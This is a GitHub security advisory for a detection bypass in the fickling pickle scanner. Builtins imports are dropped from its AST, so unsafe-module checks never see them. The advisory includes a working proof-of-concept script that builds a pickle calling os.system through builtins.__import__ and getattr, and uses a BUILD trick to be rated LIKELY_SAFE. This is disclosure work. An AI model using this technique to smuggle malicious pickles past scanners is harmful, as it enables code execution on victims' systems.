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Fickling vulnerable to detection bypass due to "builtins" blindness

High severity GitHub Reviewed Published Jan 9, 2026 in trailofbits/fickling • Updated Jan 11, 2026

Package

pip fickling (pip)

Affected versions

<= 0.1.6

Patched versions

0.1.7

Description

#Fickling's assessment

Fickling started emitting AST nodes for builtins imports in order to match them during analysis (trailofbits/fickling@9f309ab).

Original report

Summary

Fickling works by
Pickle bytecode --> AST --> Security analysis
However while going from bytecode to AST, some import nodes are removed which blinds the security analysis

fickling/fickling/fickle.py

    def run(self, interpreter: Interpreter):
        module, attr = self.module, self.attr
        if module in ("__builtin__", "__builtins__", "builtins"):
            # no need to emit an import for builtins!
            pass
        else:
            alias = ast.alias(attr)
            interpreter.module_body.append(ast.ImportFrom(module=module, names=[alias], level=0))
        interpreter.stack.append(ast.Name(attr, ast.Load()))

    def encode(self) -> bytes:
        return f"c{self.module}\n{self.attr}\n".encode()

Here we see that no import nodes are emitted for builtins
However builtins is marked as an unsafe import

fickling/fickling/analysis.py

UNSAFE_MODULES = {
        "__builtin__": "This module contains dangerous functions that can execute arbitrary code.",
        "__builtins__": "This module contains dangerous functions that can execute arbitrary code.",
        "builtins": "This module contains dangerous functions that can execute arbitrary code.",

But because there are no import nodes for builtins (they werent emitted when making the AST), the security scanner is effectively blind.

This can allow for security bypasses like this

poc.py (script to create payload)

import os

GLOBAL = b'c'    # Import module.name
STRING = b'S'    # Push string
TUPLE1 = b'\x85' # Build tuple of 1
TUPLE2 = b'\x86' # Build tuple of 2
EMPTY_TUPLE = b')'
REDUCE = b'R'    # Call function
PUT    = b'p'    # Memoize (Variable assignment)
GET    = b'g'    # Load from memo (Variable usage)
POP    = b'0'    # Discard top of stack
EMPTY_DICT = b'}'
SETITEM = b's'   # Add key/value to dict
BUILD  = b'b'    # Update object state (Liveness satisfy)
STOP   = b'.'    # Finish and return stack top

def generate_raw_payload():
    payload = b""

    payload += GLOBAL + b"builtins\n__import__\n"
    payload += STRING + b"'os'\n"
    payload += TUPLE1 + REDUCE
    payload += PUT + b"0\n" # _var0 = os module
    payload += POP

    payload += GLOBAL + b"builtins\ngetattr\n"
    payload += GET + b"0\n" # os module
    payload += STRING + b"'system'\n"
    payload += TUPLE2 + REDUCE
    payload += PUT + b"1\n" # _var1 = os.system
    payload += POP

    payload += GET + b"1\n" # os.system
    payload += STRING + b"'whoami'\n" # COMMAND
    payload += TUPLE1 + REDUCE
    payload += PUT + b"2\n" 
    payload += POP

    payload += GLOBAL + b"builtins\nException\n"
    payload += EMPTY_TUPLE + REDUCE
    payload += PUT + b"3\n"
    
    payload += EMPTY_DICT
    payload += STRING + b"'rce_status'\n"
    payload += GET + b"2\n" 
    payload += SETITEM  
    
    payload += BUILD
    
    payload += STOP

    return payload

if __name__ == "__main__":
    data = generate_raw_payload()
    with open("raw_bypass.pkl", "wb") as f:
        f.write(data)
    
    print("Generated 'raw_bypass.pkl'")

This creates a pickle file which imports the OS module using import which is a part of builtins. if the security scanner wasnt blinded it would have been flagged immidiately.

However now fickling sees the pickle payload as

_var0 = __import__('os')
_var1 = getattr(_var0, 'system')
_var2 = _var1('whoami')
_var3 = Exception()
_var4 = _var3
_var4.__setstate__({'rce_status': _var2})
result0 = _var4

image

As you can see there is no mention of builtins anywhere so it isnt flagged

Additionally, the payload builder uses a technique to ensure that no variable get flagged as "UNUSED"
We deceive the data flow analysis heuristic by using the BUILD opcode to update an objects internal state.
By taking the result of os.system (the exit code) and using it as a value in a dictionary that is then "built" into a returned exception object, we create a logical dependency chain.

The end result is that the malicious pickle gets classified as LIKELY_SAFE

Fixes:
Ensure that import objects are emitted for imports from builtins depending on what those imports are, say emit import nodes for dangerous functions like __import__ while not emitting for stuff like dict()

References

Published to the GitHub Advisory Database Jan 9, 2026
Reviewed Jan 9, 2026
Published by the National Vulnerability Database Jan 10, 2026
Last updated Jan 11, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(17th percentile)

Weaknesses

Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. Learn more on MITRE.

CVE ID

CVE-2026-22612

GHSA ID

GHSA-h4rm-mm56-xf63

Source code

Credits

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